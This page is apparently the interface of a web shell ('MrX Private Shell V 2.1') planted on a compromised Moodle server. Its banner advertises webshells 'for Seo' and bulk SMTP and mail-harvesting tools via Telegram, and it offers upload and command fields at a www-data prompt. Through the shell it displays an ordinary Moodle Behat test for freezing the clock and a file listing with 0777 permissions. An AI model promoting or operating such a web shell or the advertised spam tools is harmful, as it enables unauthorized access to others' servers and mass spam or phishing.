__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@tool @tool_behat
Feature: Frozen clock in Behat
  In order to write tests that depend on the current system time
  As a test writer
  I need to set the time using a Behat step

  Background:
    Given the following "courses" exist:
      | fullname | shortname |
      | Course 1 | C1        |
    And the following "activities" exist:
      | activity | course | name      | idnumber | externalurl                                                 |
      | url      | C1     | Fixture   | url1     | #wwwroot#/admin/tool/behat/tests/fixtures/core/showtime.php |
      | forum    | C1     | TestForum | forum1   |                                                             |

  Scenario: Time has been frozen
    # Set up 2 forum discussions at different times. This tests the clock in the Behat CLI process.
    Given the time is frozen at "2024-03-01 12:34:56"
    And the following "mod_forum > discussions" exist:
      | user  | forum  | name     | message  |
      | admin | forum1 | Subject1 | Message1 |
    And the time is frozen at "2024-08-01 12:34:56"
    And the following "mod_forum > discussions" exist:
      | user  | forum  | name     | message  |
      | admin | forum1 | Subject2 | Message2 |
    When I am on the "TestForum" "forum activity" page logged in as admin
    Then I should see "1 Mar 2024" in the "Subject1" "table_row"
    And I should see "1 Aug 2024" in the "Subject2" "table_row"
    # Also view time on the fixture page. This tests the clock for Behat web server requests.
    And I am on the "Fixture" "url activity" page
    And I should see "Behat time is not the same as real time"
    # This Unix time corresponds to 12:34:56 in Perth time zone.
    And I should see "Unix time 1722486896"
    And I should see "Date-time 2024-08-01 12:34:56"

  # This scenario is second, to verify that the clock automatically goes back to normal after test.
  Scenario: Time is normal
    Given the following "mod_forum > discussions" exist:
      | user  | forum  | name     | message  |
      | admin | forum1 | Subject1 | Message1 |
    When I am on the "TestForum" "forum activity" page logged in as admin
    # The time should be the real current time, not the frozen time.
    Then I should see "## today ##%d %b %Y##" in the "Subject1" "table_row"
    And I am on the "Fixture" "url activity" page
    And I should see "Behat time is the same as real time"

  Scenario: Time is frozen and then unfrozen
    Given the time is frozen at "2024-03-01 12:34:56"
    And the following "mod_forum > discussions" exist:
      | user  | forum  | name     | message  |
      | admin | forum1 | Subject1 | Message1 |
    And the time is no longer frozen
    And the following "mod_forum > discussions" exist:
      | user  | forum  | name     | message  |
      | admin | forum1 | Subject2 | Message2 |
    When I am on the "TestForum" "forum activity" page logged in as admin
    Then I should see "1 Mar 2024" in the "Subject1" "table_row"
    # The time should be the real current time, not the frozen time for this entry.
    And I should see "## today ##%d %b %Y##" in the "Subject2" "table_row"
    And I am on the "Fixture" "url activity" page
    And I should see "Behat time is the same as real time"

Filemanager

Name Type Size Permission Actions
fixtures Folder 0777
data_generators.feature File 18.61 KB 0777
datetime_strings.feature File 1.08 KB 0777
edit_permissions.feature File 4.66 KB 0777
frozen_clock.feature File 3.16 KB 0777
get_and_set_fields.feature File 10.72 KB 0777
get_and_set_fields_in_containers.feature File 1.5 KB 0777
i_am_on_page.feature File 5.21 KB 0777
inplaceeditable.feature File 1.29 KB 0777
keyboard.feature File 1.93 KB 0777
list_steps.feature File 1.88 KB 0777
loginout.feature File 4.4 KB 0777
manipulate_forms.feature File 1.2 KB 0777
nasty_strings.feature File 2.4 KB 0777
tabs.feature File 1.25 KB 0777
test_environment.feature File 304 B 0777
Filemanager